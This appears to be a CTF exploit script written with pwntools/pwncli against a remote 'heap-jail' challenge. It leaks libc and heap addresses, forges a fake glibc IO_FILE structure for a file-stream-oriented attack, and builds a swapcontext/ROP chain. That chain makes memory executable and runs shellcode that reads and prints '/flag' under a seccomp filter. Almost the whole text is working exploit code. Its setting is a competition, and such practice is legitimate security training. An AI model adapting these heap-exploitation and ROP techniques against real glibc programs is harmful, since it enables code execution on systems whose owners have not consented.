1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154
| from pwncli import *
context(os='linux', arch='amd64') context.terminal = ["tmux", "splitw", "-h"] context.log_level = "debug"
if args.REMOTE: HOST,PORT = "heap-jail.chal.crewc.tf", 1337 p = remote(HOST, PORT, ssl=True) elif args.LOCAL: p = process("./main-patch")
r = lambda x: p.recvuntil(x,drop=True) s = lambda x,y: p.sendafter(x,y) ii = lambda x: p.sendlineafter(' \n',x)
def add(idx,sz): ii('1') ii(str(idx)) ii(str(sz))
def edit(idx,cnt): ii('2') ii(str(idx)) s(' \n', cnt)
def free(idx): ii('3') ii(str(idx))
def show(idx): ii('4') ii(str(idx))
add(0, 0x408) show(0) p.recv(0x10) a = p.recv(0x3f8)
if args.REMOTE: libc = int(a.strip().split(b'\n')[2].split(b' ')[0].split(b'-')[0],16) elif args.LOCAL: libc = int(a.strip().split(b'\n')[8].split(b' ')[0].split(b'-')[0],16)
log.success("@ libc: "+hex(libc)) add(0, 0x100) free(0) show(0)
heap = (u64(p.recv(8))<<12)-0x3000 log.success("@ heap: "+hex(heap))
_lock = libc+0x205700 fake = heap+0x4bd0
f1 = IO_FILE_plus_struct() f1._lock = _lock f1._wide_data = fake+0xe0 f1.vtable = libc+0x202228 f1._IO_save_base = fake+0x280
svcudp_reply = libc+0x17923d swapcontext = libc+0x5815d pop_rdi = libc+0x10f75b pop_rsi = libc+0x110a4d ret = libc+0x582bb
""" line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015 0005: 0x15 0x01 0x00 0x00000000 if (A == read) goto 0007 0006: 0x15 0x00 0x06 0x00000001 if (A != write) goto 0013 0007: 0x20 0x00 0x00 0x0000001c A = args[1] >> 32 0008: 0x25 0x05 0x00 0x00006146 if (A > 0x6146) goto 0014 0009: 0x15 0x00 0x04 0x00006146 if (A != 0x6146) goto 0014 0010: 0x20 0x00 0x00 0x00000018 A = args[1] 0011: 0x35 0x00 0x02 0xcad5b000 if (A < 0xcad5b000) goto 0014 0012: 0x35 0x01 0x00 0xcad7c000 if (A >= 0xcad7c000) goto 0014 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS 0015: 0x06 0x00 0x00 0x00000000 return KILL """
shellcode = """ xor rax, rax xor rdi, rdi xor rsi, rsi xor rdx, rdx mov rax, 2 mov rdi, 0x67616c662f push rdi mov rdi, rsp syscall mov rdx, 0x100 mov rsi, rdi mov rdi, rax mov rax, 0 syscall mov rdi, 1 mov rax, 1 syscall """
data = flat({ 0x20: bytes(f1)[0x30:], 0xe0: { 0x18: 0, 0x30: 0, 0xe0: fake + 0x200}, 0x200: {0: asm(shellcode), 0x68: svcudp_reply}, 0x280: { 0x18: fake + 0x280, 0x28: swapcontext, 0x88: 7, 0xe0: fake, 0xa0: fake + 0x380, 0xa8: ret}, 0x380: flat( pop_rdi, (fake // 0x1000) * 0x1000, pop_rsi, 0x2000, libc+0x125c10, fake + 0x200, )} )
add(0, 0x4e0) add(1, 0xff8) add(2, 0x4d0) edit(2, data.ljust(0x4d0, b'\x00')) free(0) add(8, 0x600) edit(0, flat([libc+0x203F40, libc+0x203F40, heap+0x36d0, libc+0x2044c0-0x20]))
free(2)
if args.LOCAL: gdb.attach(p, f'break-rva 0x1B78\ndirectory ~/glibc-2.39\nb __GI__IO_wfile_overflow') add(10, 0x600)
ii('3') ii('100')
p.interactive()
|